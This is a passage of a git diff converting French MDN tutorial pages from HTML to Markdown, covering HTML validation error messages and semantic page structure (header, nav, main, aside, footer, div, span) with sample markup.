le rapport de ce qui ne va pas dans le HTML soumis.</p> + exemple: <a href="https://www.mozilla.org/>lien à la page d'accueil de Mozilla</a> ↩ </ul>↩ </body>↩</html> -<p><img alt="La page d'accueil du validateur HTML" src="fr-w3c.png"></p> + > **Note :** un attribut sans guillemet fermant peut entraîner un élément ouvert car le reste du document est interprété comme le contenu de l'attribut. -<p>Pour définir le HTML à valider, vous pouvez donner une adresse web (<em>Validate by URI</em>) , téléverser un fichier HTML (<em>Validate by File Upload</em>) ou entrer directement du code HTML (<em>Validate by Direct Input</em>).</p> +- « Unclosed element `ul` » : n'est pas vraiment utile, car l'élément {{htmlelement("ul")}} _est_ correctement fermé. Cette erreur ressort car l'élément {{htmlelement("a")}} n'est pas fermé en raison de l'absence de guillemet fermant. -<h3 id="Apprentissage_actif_validation_d'un_document_HTML">Apprentissage actif : validation d'un document HTML</h3> +Si vous ne comprenez pas ce que signifie chaque message d'erreur, ne vous inquiétez pas — une bonne idée consiste à corriger quelques erreurs à la fois. Puis essayez de revalider le HTML pour voir les erreurs restantes. Parfois, la correction d'une erreur en amont permet aussi d'éliminer d'autres messages d'erreur — plusieurs erreurs sont souvent causées par un même problème, avec une sorte d'effet domino. -<p>Essayons cet outil avec notre <a href="https://github.com/mdn/learning-area/blob/master/html/introduction-to-html/debugging-html/debug-example.html">document exemple</a>.</p> +Vous saurez que toutes vos erreurs sont corrigées quand vous verrez la bannière suivante dans la sortie : -<ol> - <li>D'abord, chargez le <a href="https://validator.w3.org/">Markup Validation Service</a> dans un des onglets du navigateur, si ce n'est déjà fait.</li> - <li>Basculez sur l'onglet <a href="https://validator.w3.org/#validate_by_input">Validate by Direct Input</a>.</li> - <li>Copiez la totalité du code du document (pas uniquement l'élément <code>body</code>) et collez-le dans la grande zone de texte affichée dans Markup Validation Service.</li> - <li>Pressez le bouton <em>Check</em>.</li> -</ol> + -<p>Cela vous donnera une liste d'erreurs et autres informations.</p> +## Résumé -<p><img alt="La liste des résultats de la validation de HTML par le service de validation du W3C." src="fr-liste-erreur.png"></p> +Voilà donc une introduction au débogage HTML, qui devrait vous donner des compétences utiles sur lesquelles compter lorsque vous commencerez à déboguer des CSS, du JavaScript ou d'autres types de code plus tard dans votre carrière. Ceci marque également la fin des articles d'apprentissage du module Introduction au HTML — maintenant vous pouvez faire un auto‑test avec nos évaluations : le lien ci‑dessous vous dirige sur la première. -<h4 id="Interprétation_des_messages_d'erreur">Interprétation des messages d'erreur</h4> +{{PreviousMenuNext("Apprendre/HTML/Introduction_à_HTML/Document_and_website_structure", "Apprendre/HTML/Introduction_à_HTML/Marking_up_a_letter", "Apprendre/HTML/Introduction_à_HTML")}} -<p>Les messages d'erreur sont généralement utiles, mais parfois non ; avec un peu de pratique, vous trouverez comment les interpréter pour corriger votre code. Passons en revue les messages d'erreur et voyons leur signification. Chaque message est accompagné d'un numéro de ligne et de colonne pour faciliter la localisation de l'erreur.</p> +## Dans ce module -<ul> - <li>« End tag <code>li</code> implied, but there were open elements » (2 instances) : ces messages indiquent qu'un élément ouvert devrait être fermé. La balise de fermeture est implicite, mais pas réellement mise. L'information ligne/colonne pointe sur la première ligne après laquelle la balise de fermeture devrait réellement se situer, mais c'est un bon indice pour voir ce qui ne va pas.</li> - <li>« Unclosed element <code>strong</code> » : C'est facile à comprendre — un élément {{htmlelement("strong")}} n'est pas fermé ; l'information ligne/colonne pointe directement dessus.</li> - <li>« End tag <code>strong</code> violates nesting rules » : signale des éléments incorrectement imbriqués et l'information ligne/colonne signale là où cela se trouve.</li> - <li>« End of file reached when inside an attribute value. Ignoring tag » : c'est peu clair ; la remarque se rapporte au fait qu'il y a une valeur d'attribut improprement formée quelque part, peut-être près de la fin du fichier car la fin du fichier apparaît dans la valeur de l'attribut. Le fait que le navigateur ne rende pas le lien est un bon indice pour dire que cet élément est en faute.</li> - <li>« End of file seen and there were open elements » : c'est un peu ambigu, mais se réfère au fait qu'à la base des éléments ouverts n'ont pas été proprement fermés. Les numéros de ligne pointent sur les dernières lignes du fichier et ce message d'erreur vient avec une ligne de code qui désigne un exemple d'élément ouvert : - <pre>exemple: <a href="https://www.mozilla.org/>lien à la page d'accueil de Mozilla</a> ↩ </ul>↩ </body>↩</html></pre> - - <div class="note"> - <p><strong>Note :</strong> un attribut sans guillemet fermant peut entraîner un élément ouvert car le reste du document est interprété comme le contenu de l'attribut.</p> - </div> - </li> - <li>« Unclosed element <code>ul</code> » : n'est pas vraiment utile, car l'élément {{htmlelement("ul")}} <em>est</em> correctement fermé. Cette erreur ressort car l'élément {{htmlelement("a")}} n'est pas fermé en raison de l'absence de guillemet fermant.</li> -</ul> - -<p>Si vous ne comprenez pas ce que signifie chaque message d'erreur, ne vous inquiétez pas — une bonne idée consiste à corriger quelques erreurs à la fois. Puis essayez de revalider le HTML pour voir les erreurs restantes. Parfois, la correction d'une erreur en amont permet aussi d'éliminer d'autres messages d'erreur — plusieurs erreurs sont souvent causées par un même problème, avec une sorte d'effet domino.</p> - -<p>Vous saurez que toutes vos erreurs sont corrigées quand vous verrez la bannière suivante dans la sortie : </p> - -<p><img alt='Banner that reads "The document validates according to the specified schema(s) and to additional constraints checked by the validator."' src="valid-html-banner.png"></p> - -<h2 id="Résumé">Résumé</h2> - -<p>Voilà donc une introduction au débogage HTML, qui devrait vous donner des compétences utiles sur lesquelles compter lorsque vous commencerez à déboguer des CSS, du JavaScript ou d'autres types de code plus tard dans votre carrière. Ceci marque également la fin des articles d'apprentissage du module Introduction au HTML — maintenant vous pouvez faire un auto‑test avec nos évaluations : le lien ci‑dessous vous dirige sur la première.</p> - -<p>{{PreviousMenuNext("Apprendre/HTML/Introduction_à_HTML/Document_and_website_structure", "Apprendre/HTML/Introduction_à_HTML/Marking_up_a_letter", "Apprendre/HTML/Introduction_à_HTML")}}</p> - - - -<h2 id="Dans_ce_module">Dans ce module</h2> - -<ul> - <li><a href="/fr/docs/Learn/HTML/Introduction_to_HTML/Getting_started">Commencer avec le HTML</a></li> - <li><a href="/fr/docs/Learn/HTML/Introduction_to_HTML/The_head_metadata_in_HTML">Qu'y-a-t-il dans l'en-tête ? Métadonnées en HTML</a></li> - <li><a href="/fr/docs/Apprendre/HTML/Introduction_%C3%A0_HTML/HTML_text_fundamentals">Fondamentaux du texte HTML</a></li> - <li><a href="/fr/docs/Learn/HTML/Introduction_to_HTML/Creating_hyperlinks">Creation d'hyperliens</a></li> - <li><a href="/fr/docs/Learn/HTML/Introduction_to_HTML/Advanced_text_formatting">Formatage avancé du texte</a></li> - <li><a href="/fr/docs/Learn/HTML/Introduction_to_HTML/Document_and_website_structure">Structure de Site Web et de document</a></li> - <li>Déboguer de l'HTML</li> - <li><a href="/fr/docs/Learn/HTML/Introduction_to_HTML/Marking_up_a_letter">Faire une Lettre</a></li> - <li><a href="/fr/docs/Learn/HTML/Introduction_to_HTML/Structuring_a_page_of_content">Structurer une page de contenu</a></li> -</ul> +- [Commencer avec le HTML](/fr/docs/Learn/HTML/Introduction_to_HTML/Getting_started) +- [Qu'y-a-t-il dans l'en-tête ? Métadonnées en HTML](/fr/docs/Learn/HTML/Introduction_to_HTML/The_head_metadata_in_HTML) +- [Fondamentaux du texte HTML](/fr/docs/Apprendre/HTML/Introduction_%C3%A0_HTML/HTML_text_fundamentals) +- [Creation d'hyperliens](/fr/docs/Learn/HTML/Introduction_to_HTML/Creating_hyperlinks) +- [Formatage avancé du texte](/fr/docs/Learn/HTML/Introduction_to_HTML/Advanced_text_formatting) +- [Structure de Site Web et de document](/fr/docs/Learn/HTML/Introduction_to_HTML/Document_and_website_structure) +- Déboguer de l'HTML +- [Faire une Lettre](/fr/docs/Learn/HTML/Introduction_to_HTML/Marking_up_a_letter) +- [Structurer une page de contenu](/fr/docs/Learn/HTML/Introduction_to_HTML/Structuring_a_page_of_content) diff --git a/files/fr/learn/html/introduction_to_html/document_and_website_structure/index.md b/files/fr/learn/html/introduction_to_html/document_and_website_structure/index.md index 2ffb0e3cdf..1bb20fcfbf 100644 --- a/files/fr/learn/html/introduction_to_html/document_and_website_structure/index.md +++ b/files/fr/learn/html/introduction_to_html/document_and_website_structure/index.md @@ -14,278 +14,283 @@ tags: translation_of: Learn/HTML/Introduction_to_HTML/Document_and_website_structure original_slug: Apprendre/HTML/Introduction_à_HTML/Document_and_website_structure --- -<div>{{LearnSidebar}}<br> -{{PreviousMenuNext("Apprendre/HTML/Introduction_à_HTML/Advanced_text_formatting", "Apprendre/HTML/Introduction_à_HTML/Debugging_HTML","Apprendre/HTML/Introduction_à_HTML")}}<br> - </div> +{{LearnSidebar}} +{{PreviousMenuNext("Apprendre/HTML/Introduction_à_HTML/Advanced_text_formatting", "Apprendre/HTML/Introduction_à_HTML/Debugging_HTML","Apprendre/HTML/Introduction_à_HTML")}} -<p>De même que HTML est utilisé pour définir les diverses parties indépendantes d'une page (comme un « paragraphe » ou une « image »), HTML l'est pour définir des zones de votre site web (comme l'« en‑tête », le « menu de navigation », le « contenu principal », etc.). Cet article détaille la structure d'un site simple et l'écriture du HTML correspondant.</p> +De même que HTML est utilisé pour définir les diverses parties indépendantes d'une page (comme un « paragraphe » ou une « image »), HTML l'est pour définir des zones de votre site web (comme l'« en‑tête », le « menu de navigation », le « contenu principal », etc.). Cet article détaille la structure d'un site simple et l'écriture du HTML correspondant. <table class="standard-table"> - <tbody> - <tr> - <th scope="row">Prérequis :</th> - <td>Être familiarisé avec les bases du HTML, traitées à la page <a href="/fr/docs/Apprendre/HTML/Introduction_%C3%A0_HTML/Getting_started">Commencer avec le HTML</a> et du formatage de texte HTML, décrit dans les <a href="/fr/docs/Learn/HTML/Introduction_to_HTML/HTML_text_fundamentals">Fondamentaux du texte HTML</a>. Comment fonctionnent les liens hyperlinks , comme décrit dans <a href="/fr/docs/Apprendre/HTML/Introduction_%C3%A0_HTML/Creating_hyperlinks">Création d'hyperliens</a>.</td> - </tr> - <tr> - <th scope="row">Objectif :</th> - <td> - <p>Apprendre comment structurer votre document en utilisant des balises sémantiques et comment élaborer la structure d'un site web simple.</p> - </td> - </tr> - </tbody> + <tbody> + <tr> + <th scope="row">Prérequis :</th> + <td> + Être familiarisé avec les bases du HTML, traitées à la page + <a + href="/fr/docs/Apprendre/HTML/Introduction_%C3%A0_HTML/Getting_started" + >Commencer avec le HTML</a + > + et du formatage de texte HTML, décrit dans les + <a + href="/fr/docs/Learn/HTML/Introduction_to_HTML/HTML_text_fundamentals" + >Fondamentaux du texte HTML</a + >. Comment fonctionnent les liens hyperlinks , comme décrit dans + <a + href="/fr/docs/Apprendre/HTML/Introduction_%C3%A0_HTML/Creating_hyperlinks" + >Création d'hyperliens</a + >. + </td> + </tr> + <tr> + <th scope="row">Objectif :</th> + <td> + <p> + Apprendre comment structurer votre document en utilisant des balises + sémantiques et comment élaborer la structure d'un site web simple. + </p> + </td> + </tr> + </tbody> </table> -<h2 id="Principales_parties_dun_document"><strong>Principales parties d'un document</strong></h2> +## **Principales parties d'un document** -<p>Les pages web peuvent sembler assez différentes les unes des autres, mais elles ont toutes tendance à partager des composantes standard similaires, sauf si la page affiche une vidéo ou un jeu en plein écran, relève d'une sorte de projet artistique ou... est simplement mal structurée :</p> +Les pages web peuvent sembler assez différentes les unes des autres, mais elles ont toutes tendance à partager des composantes standard similaires, sauf si la page affiche une vidéo ou un jeu en plein écran, relève d'une sorte de projet artistique ou... est simplement mal structurée : -<dl> - <dt>En‑tête (header)</dt> - <dd>Généralement une grande bande placée en travers au haut de la page avec un titre ou un logo. C'est là où les principales informations du site restent d'une page à l'autre.</dd> - <dt>Barre de navigation</dt> - <dd>Elle fait le lien vers les principales parties du site ; d'habitude, elle est présentée sous forme de boutons de menu, de liens ou d'onglets. Comme l'en‑tête, la barre de navigation reste souvent cohérente d'une page à l'autre — avoir une navigation destructurée ne peut conduire qu'à de la confusion et la frustation pour le lecteur. Beaucoup de créateurs de site considèrent la barre de navigation partie de l'en‑tête et non comme un composant individuel, mais ce n'est pas une exigence. En fait certains soutiennent également que le fait d'avoir les deux séparés est préférable pour l'accessibilité, car les lecteurs d'écran lisent mieux les deux éléments s'ils sont séparés.</dd> - <dt>Contenu principal</dt> - <dd>Une grande zone au centre contenant la majeure partie du contenu unique de la dite page web, par ex. la vidéo à regarder, ou le corps de l'article à parcourir, ou la carte à lire, ou les dernières nouvelles etc. C'est la partie du site variable de page en page.</dd> - <dt>Barre latérale</dt> - <dd> - <p>Quelques informations autour du sujet, liens, citations, annonces, etc. Habituellement c'est contextuel au contenu principal (par exemple sur une page d'informations, la barre latérale peut contenir la biographie de l'auteur, ou des liens vers des articles connexes) mais il y a aussi des cas où vous trouverez des éléments récurrents comme un système de navigation secondaire.</p> - </dd> - <dt>Pied de page</dt> - <dd> - <p>Une bande au bas de la page qui contient généralement, en petits caractères, des avis de droit d'auteur ou des coordonnées de contact. C'est un endroit pour mettre de l'information commune (comme l'en-tête), mais il s'agit dans ce cas d'informations non‑critiques, voire secondaires par rapport au site Web lui-même. Le pied de page est aussi parfois utilisé à des fins de {{Glossary("SEO")}}, en fournissant des liens pour un accès rapide à des contenus prisés.</p> - Un « site web typique » pourrait ressembler à quelque chose comme ceci :</dd> -</dl> +- En‑tête (header) + - : Généralement une grande bande placée en travers au haut de la page avec un titre ou un logo. C'est là où les principales informations du site restent d'une page à l'autre. +- Barre de navigation + - : Elle fait le lien vers les principales parties du site ; d'habitude, elle est présentée sous forme de boutons de menu, de liens ou d'onglets. Comme l'en‑tête, la barre de navigation reste souvent cohérente d'une page à l'autre — avoir une navigation destructurée ne peut conduire qu'à de la confusion et la frustation pour le lecteur. Beaucoup de créateurs de site considèrent la barre de navigation partie de l'en‑tête et non comme un composant individuel, mais ce n'est pas une exigence. En fait certains soutiennent également que le fait d'avoir les deux séparés est préférable pour l'accessibilité, car les lecteurs d'écran lisent mieux les deux éléments s'ils sont séparés. +- Contenu principal + - : Une grande zone au centre contenant la majeure partie du contenu unique de la dite page web, par ex. la vidéo à regarder, ou le corps de l'article à parcourir, ou la carte à lire, ou les dernières nouvelles etc. C'est la partie du site variable de page en page. +- Barre latérale + - : Quelques informations autour du sujet, liens, citations, annonces, etc. Habituellement c'est contextuel au contenu principal (par exemple sur une page d'informations, la barre latérale peut contenir la biographie de l'auteur, ou des liens vers des articles connexes) mais il y a aussi des cas où vous trouverez des éléments récurrents comme un système de navigation secondaire. +- Pied de page -<p><img alt="un exemple simple de structure de site Web comportant un titre principal, un menu de navigation, un contenu principal, une barre latérale et un pied de page." src="ecran.png"></p> + - : Une bande au bas de la page qui contient généralement, en petits caractères, des avis de droit d'auteur ou des coordonnées de contact. C'est un endroit pour mettre de l'information commune (comme l'en-tête), mais il s'agit dans ce cas d'informations non‑critiques, voire secondaires par rapport au site Web lui-même. Le pied de page est aussi parfois utilisé à des fins de {{Glossary("SEO")}}, en fournissant des liens pour un accès rapide à des contenus prisés. -<h2 id="HTML_pour_structurer_un_contenu">HTML pour structurer un contenu</h2> + Un « site web typique » pourrait ressembler à quelque chose comme ceci : -<p>L'exemple simple affiché ci-dessus n'est pas très beau, mais il est parfaitement correct pour illustrer un exemple typique de mise en page d'un site web. Certains sites Web ont plus de colonnes, d'autres sont beaucoup plus complexes, mais vous voyez l'idée. Avec le bon CSS, vous pouvez utiliser à peu près n'importe quel élément pour envelopper les différentes sections et obtenir l'apparence que vous voulez, mais comme nous l'avons déjà dit, nous devons respecter la sémantique et <strong>utiliser le bon élément pour le bon travail</strong>.</p> + -<p>C'est parce que le visuel ne raconte pas toute l'histoire. Nous utilisons la couleur et la taille des caractères pour attirer l'attention des utilisateurs malvoyants sur les parties les plus utiles du contenu, comme le menu de navigation et les liens connexes, mais qu'en est-il des personnes malvoyantes par exemple, qui pourraient ne pas trouver très utiles des concepts tels que le « rose » et la « grande police » ?</p> +## HTML pour structurer un contenu -<div class="note"> -<p><strong>Note :</strong> Les daltoniens représentent environ <a href="http://www.color-blindness.com/2006/04/28/colorblind-population/">8% de la population mondiale</a> ou, en d'autres termes, environ 1 homme sur 12 et 1 femme sur 200 sont daltoniens. Les personnes aveugles et malvoyantes représentent environ 4 à 5 % de la population mondiale (en 2012, il y avait <a href="https://fr.wikipedia.org/wiki/D%C3%A9ficience_visuelle">285 millions de personnes aveugles et malvoyantes</a> dans le monde, alors que la population totale était <a href="https://fr.wikipedia.org/wiki/Population_mondiale">d'environ 7 milliards </a>d'habitants).</p> -</div> +L'exemple simple affiché ci-dessus n'est pas très beau, mais il est parfaitement correct pour illustrer un exemple typique de mise en page d'un site web. Certains sites Web ont plus de colonnes, d'autres sont beaucoup plus complexes, mais vous voyez l'idée. Avec le bon CSS, vous pouvez utiliser à peu près n'importe quel élément pour envelopper les différentes sections et obtenir l'apparence que vous voulez, mais comme nous l'avons déjà dit, nous devons respecter la sémantique et **utiliser le bon élément pour le bon travail**. -<p>Dans votre code HTML, vous pouvez marquer des sections de contenu selon leur fonction — vous pouvez utiliser des éléments qui représentent sans ambiguïté les sections de contenu décrites ci-dessus, et les technologies d'assistance comme les lecteurs d'écran peuvent reconnaître ces éléments et vous aider avec des tâches comme « trouver la navigation principale » ou « trouver le contenu principal ». Comme nous l'avons mentionné plus tôt dans le cours, le fait de <a href="/fr/docs/Learn/HTML/Introduction_to_HTML/HTML_text_fundamentals#why_do_we_need_structure">ne pas utiliser la bonne structure d'éléments et la bonne sémantique pour le bon travail a un certain nombre de conséquences</a>.</p> - -<p>Pour mettre en œuvre le marquage sémantique, HTML fournit des balises dédiées que vous pourrez utiliser pour représenter ces parties, par exemple :</p> - -<ul> - <li><strong>header : </strong>{{htmlelement("header")}}.</li> - <li><strong>barre de navigation : </strong>{{htmlelement("nav")}}.</li> - <li><strong>contenu principal : </strong>{{htmlelement("main")}}, avec diverses sous‑sections de contenu représentées à l'aide de des éléments {{HTMLElement("article")}}, {{htmlelement("section")}} et {{htmlelement("div")}}.</li> - <li><strong>barre latérale : </strong>{{htmlelement("aside")}} ; souvent mise à l'intérieur de l'élément {{htmlelement("main")}}.</li> - <li><strong>pied de page : </strong>{{htmlelement("footer")}}.</li> -</ul> - -<h3 id="Apprentissage_actif_exploration_du_code_de_lexemple">Apprentissage actif : exploration du code de l'exemple</h3> - -<p>Notre exemple affiché plus haut est représenté par le code ci‑après (vous le trouverez également <a href="https://github.com/mdn/learning-area/blob/master/html/introduction-to-html/document_and_website_structure/index.html">dans le dépôt Github</a>). Nous aimerions que vous regardiez cet exemple et que vous recherchiez dans le listing suivant les sections constituant les diverses parties du visuel.</p> - -<pre><!DOCTYPE html> -<html> - <head> - <meta charset="utf-8"> - - <title>Intitulé de ma page</title> - <link href="https://fonts.googleapis.com/css?family=Open+Sans+Condensed:300|Sonsie+One" rel="stylesheet" type="text/css"> - <link rel="stylesheet" href="style.css"> - - <!-- Les trois lignes ci‑dessous sont un correctif pour que la sémantique - HTML5 fonctionne correctement avec les anciennes versions de - Internet Explorer--> - <!--[if lt IE 9]> - <script src="https://cdnjs.cloudflare.com/ajax/libs/html5shiv/3.7.3/html5shiv.js"></script> - <![endif]--> - </head> - - <body> - <!-- Voici notre en‑tête principale utilisée dans toutes les pages - de notre site web --> - <header> - <h1>En-tête</h1> - </header> - - <nav> - <ul> - <li><a href="#">Accueil</a></li> - <li><a href="#">L'équipe</a></li> - <li><a href="#">Projets</a></li> - <li><a href="#">Contact</a></li> - </ul> - - <!-- Un formulaire de recherche est une autre façon de naviguer de - façon non‑linéaire dans un site. --> - - <form> - <input type="search" name="q" placeholder="Rechercher"> - <input type="submit" value="Lancer !"> - </form> - </nav> - - <!-- Ici nous mettons le contenu de la page --> - <main> - - <!-- Il contient un article --> - <article> - <h2>En-tête d'article</h2> - <p>Lorem ipsum dolor sit amet, consectetur adipisicing elit. Donec a diam lectus. Set sit amet ipsum mauris. Maecenas congue ligula as quam viverra nec consectetur ant hendrerit. Donec et mollis dolor. Praesent et diam eget libero egestas mattis sit amet vitae augue. Nam tincidunt congue enim, ut porta lorem lacinia consectetur.</p> - - <h3>Sous‑section</h3> - <p>Donec ut librero sed accu vehicula ultricies a non tortor. Lorem ipsum dolor sit amet, consectetur adipisicing elit. Aenean ut gravida lorem. Ut turpis felis, pulvinar a semper sed, adipiscing id dolor.</p> - <p>Pelientesque auctor nisi id magna consequat sagittis. Curabitur dapibus, enim sit amet elit pharetra tincidunt feugiat nist imperdiet. Ut convallis libero in urna ultrices accumsan. Donec sed odio eros.</p> - - <h3>Autre sous‑section</h3> - <p>Donec viverra mi quis quam pulvinar at malesuada arcu rhoncus. Cum soclis natoque penatibus et manis dis parturient montes, nascetur ridiculus mus. In rutrum accumsan ultricies. Mauris vitae nisi at sem facilisis semper ac in est.</p> - <p>Vivamus fermentum semper porta. Nunc diam velit, adipscing ut tristique vitae sagittis vel odio. Maecenas convallis ullamcorper ultricied. Curabitur ornare, ligula semper consectetur sagittis, nisi diam iaculis velit, is fringille sem nunc vet mi.</p> - </article> - - <!-- Le contenu « à côté » peut aussi être intégré dans le contenu - principal --> - <aside> - <h2>En relation</h2> - <ul> - <li><a href="#">Combien j'aime être près des rivages</a></li> - <li><a href="#">Combien j'aime être près de la mer</a></li> - <li><a href="#">Bien que dans le nord de l'Angleterre</a></li> - <li><a href="#">Il n'arrête jamais de pleuvoir</a></li> - <li><a href="#">Eh bien…</a></li> - </ul> - </aside> - - </main> - - <!-- Et voici notre pied de page utilisé sur toutes les pages du site --> - <footer> - <p>©Copyright 2050 par personne. Tous droits reversés.</p> - </footer> - - </body> -</html></pre> - -<p>Prenez le temps voulu pour regarder ce code et le comprendre — les commentaires inclus doivent également vous aider à comprendre. Il n'y a pas grand-chose d'autre à faire dans cet article, car la clé pour comprendre une mise en page de document est d'écrire une bonne structure HTML, puis de la mettre en page avec les CSS. Nous attendrons donc que vous ayez commencé à étudier la mise en page avec les CSS.</p> - -<h2 id="Plus_de_détails_à_propos_des_éléments_de_mise_en_page">Plus de détails à propos des éléments de mise en page</h2> - -<p>La compréhension détaillée de la signification globale de tous les éléments de la mise en page HTML est importante — vous l'acquerrez au fur et à mesure avec l'expérience dans le développement web. Vous pouvez trouver beaucoup de détails en parcourant la <a href="/fr/docs/Web/HTML/Element">référence aux éléments HTML</a>. Pour l'instant, il convient de bien comprendre les principales définitions :</p> - -<ul> - <li>{{HTMLElement('main')}} est relatif au contenu <em>unique de la page</em>. N'utilisez <code><main></code> que une seule fois par page et placez-le directement à l'intérieur de l'élement {{HTMLElement('body')}}. Idéalement, il ne devrait pas être imbriqué dans d'autres éléments.</li> - <li>{{HTMLElement('article')}} entoure un bloc de contenu en relation constituant en soi une unité de sens pris isolément par rapport au reste de la page (par ex. un unique billet de blog.)</li> - <li>{{HTMLElement('section')}} ressemble à <code><article></code>, mais sert plutôt à contenir une partie isolée de la page constituant un élément de fonctionnalité en soi (par ex. une petite carte ou un ensemble d'intitulés d'article ou de résumés). Il est considéré de bonne pratique de commencer chaque section par un <code><a href="/fr/docs/Learn/HTML/Introduction_to_HTML/HTML_text_fundamentals">heading</a></code> ; notez également que vous pouvez fractionner un <code><article></code> en plusieurs <code><section></code> ou bien des <code><section></code> en divers <code><article></code>, selon le contexte.</li> - <li>{{HTMLElement('aside')}} contient les composantes non directement liées au contenu principal mais pouvant fournir des informations supplémentaires indirectement en relation avec ce dernier (entrées de glossaire, biographie de l'auteur, liens connexes, etc).</li> - <li>{{HTMLElement('header')}} représente un groupe de contenus introductoires. Enfant de {{HTMLElement('body')}}, il définit l'en-tête général de la page web, mais enfant de {{HTMLElement('article')}} ou {{HTMLElement('section')}} il définit un en‑tête propre à cette section (ne confondez pas <a href="/fr/docs/Learn/HTML/Introduction_to_HTML/The_head_metadata_in_HTML#ajouter%20un%20titre">titles et headings</a>).</li> - <li>{{HTMLElement('nav')}} contient les éléments principaux de navigation pour la page. Les liens secondaires, etc., n'entrent pas dans la navigation.</li> - <li>{{HTMLElement('footer')}} représente un groupe de contenu de fin pour une page.</li> -</ul> - -<h3 id="Enveloppes_non‑sémantiques">Enveloppes non‑sémantiques</h3> - -<p>Parfois, vous êtes dans la situation où vous ne trouvez pas l'élément sémantique idéal pour regrouper certaines entités ou envelopper certains contenus. D'autres fois, vous souhaitez simplement regrouper un ensemble d'éléments pour en faire une entité unique pour des {{glossary("CSS")}} ou des {{glossary("JavaScript")}}. Pour de tels cas, HTML met à votre disposition les éléments {{HTMLElement("div")}} et {{HTMLElement("span")}}}. Utilisez‑les de préférence avec un attribut {{htmlattrxref('class')}} approprié, en quelque sorte étiquetez‑les pour pouvoir les cibler plus facilement.</p> - -<p>{{HTMLElement("span")}} est un élément en ligne non-semantique ; vous l'utiliserez seulement si vous ne trouvez pas de meilleur élément de sémantique textuelle pour envelopper votre contenu, ou bien si vous ne voulez pas ajouter de signification particulière. Par exemple :</p> - -<pre class="brush: html"><p>Le Roi retourna ivre à sa chambre à une heure, la bière ne l'aidant en rien -alors qu'il titubait en travers de la porte <span class="editor-note"> -[Note du rédacteur : Pour cette scène, la lumière doit être faible].</span></p></pre> - -<p>Dans ce cas, la note du rédacteur est simplement supposée fournir une indication supplémentaire pour le metteur en scène de la pièce ; elle n'est pas censée avoir une signification sémantique supplémentaire. Pour les utilisateurs malvoyants, les CSS seraient peut-être utilisés pour distancer légèrement la note du texte principal.</p> - -<p>{{HTMLElement("div")}} est un élément de niveau bloc non-semantique ; vous l'utiliserez seulement si vous ne trouvez pas de meilleur bloc de sémantique à utiliser, ou bien si vous ne voulez pas ajouter de signification particulière. Par exemple, imaginez un widget de panier d'achat que vous pourriez choisir d'afficher à n'importe quel moment sur un site de commerce électronique :</p> - -<pre class="brush: html"><div class="panier"> - <h2>Panier d'achat</h2> - <ul> - <li> - <p><a href=""><b>Boucles d'oreilles en argent</b></a>: €99,95.</p> - <img src="../products/3333-0985/thumb.png" alt="Boucles d'oreilles en argent"> - </li> - <li> - ... - </li> - </ul> - <p>Total des achats : €237,89</p> -</div></pre> +C'est parce que le visuel ne raconte pas toute l'histoire. Nous utilisons la couleur et la taille des caractères pour attirer l'attention des utilisateurs malvoyants sur les parties les plus utiles du contenu, comme le menu de navigation et les liens connexes, mais qu'en est-il des personnes malvoyantes par exemple, qui pourraient ne pas trouver très utiles des concepts tels que le « rose » et la « grande police » ? + +> **Note :** Les daltoniens représentent environ [8% de la population mondiale](http://www.color-blindness.com/2006/04/28/colorblind-population/) ou, en d'autres termes, environ 1 homme sur 12 et 1 femme sur 200 sont daltoniens. Les personnes aveugles et malvoyantes représentent environ 4 à 5 % de la population mondiale (en 2012, il y avait [285 millions de personnes aveugles et malvoyantes](https://fr.wikipedia.org/wiki/D%C3%A9ficience_visuelle) dans le monde, alors que la population totale était [d'environ 7 milliards ](https://fr.wikipedia.org/wiki/Population_mondiale)d'habitants). + +Dans votre code HTML, vous pouvez marquer des sections de contenu selon leur fonction — vous pouvez utiliser des éléments qui représentent sans ambiguïté les sections de contenu décrites ci-dessus, et les technologies d'assistance comme les lecteurs d'écran peuvent reconnaître ces éléments et vous aider avec des tâches comme « trouver la navigation principale » ou « trouver le contenu principal ». Comme nous l'avons mentionné plus tôt dans le cours, le fait de [ne pas utiliser la bonne structure d'éléments et la bonne sémantique pour le bon travail a un certain nombre de conséquences](/fr/docs/Learn/HTML/Introduction_to_HTML/HTML_text_fundamentals#why_do_we_need_structure). + +Pour mettre en œuvre le marquage sémantique, HTML fournit des balises dédiées que vous pourrez utiliser pour représenter ces parties, par exemple : + +- **header :** {{htmlelement("header")}}. +- **barre de navigation :** {{htmlelement("nav")}}. +- **contenu principal :** {{htmlelement("main")}}, avec diverses sous‑sections de contenu représentées à l'aide de des éléments {{HTMLElement("article")}}, {{htmlelement("section")}} et {{htmlelement("div")}}. +- **barre latérale :** {{htmlelement("aside")}} ; souvent mise à l'intérieur de l'élément {{htmlelement("main")}}. +- **pied de page :** {{htmlelement("footer")}}. + +### Apprentissage actif : exploration du code de l'exemple + +Notre exemple affiché plus haut est représenté par le code ci‑après (vous le trouverez également [dans le dépôt Github](https://github.com/mdn/learning-area/blob/master/html/introduction-to-html/document_and_website_structure/index.html)). Nous aimerions que vous regardiez cet exemple et que vous recherchiez dans le listing suivant les sections constituant les diverses parties du visuel. + + <!DOCTYPE html> + <html> + <head> + <meta charset="utf-8"> + + <title>Intitulé de ma page</title> + <link href="https://fonts.googleapis.com/css?family=Open+Sans+Condensed:300|Sonsie+One" rel="stylesheet" type="text/css"> + <link rel="stylesheet" href="style.css"> + + <!-- Les trois lignes ci‑dessous sont un correctif pour que la sémantique + HTML5 fonctionne correctement avec les anciennes versions de + Internet Explorer--> + <!--[if lt IE 9]> + <script src="https://cdnjs.cloudflare.com/ajax/libs/html5shiv/3.7.3/html5shiv.js"></script> + <![endif]--> + </head> + + <body> + <!-- Voici notre en‑tête principale utilisée dans toutes les pages + de notre site web --> + <header> + <h1>En-tête</h1> + </header> + + <nav> + <ul> + <li><a href="#">Accueil</a></li> + <li><a href="#">L'équipe</a></li> + <li><a href="#">Projets</a></li> + <li><a href="#">Contact</a></li> + </ul> -<p>Ce n'est pas vraiment un élément <code><aside></code> et il n'a pas forcément de relation avec l'essentiel du contenu de la page (vous le souhaitez visible de partout). Il ne justifie pas particulièrement l'utilisation d'une <code><section></code>, car il ne fait pas partie du contenu principal de la page. Donc un <code><div></code> est bien dans ce cas. Nous avons incorporé un panneau indicateur que les lecteurs d'écran puissent le signaler.</p> + <!-- Un formulaire de recherche est une autre façon de naviguer de + façon non‑linéaire dans un site. --> -<div class="warning"> -<p><strong>Attention :</strong> les <code>div</code> sont si pratiques à utiliser qu'on est tenté de les utiliser à l'excès. Comme ils ne portent aucune valeur sémantique, ils encombrent votre code HTML. Prenez soin de ne les utiliser que s'il n'y a pas de meilleure solution sémantique et essayez de 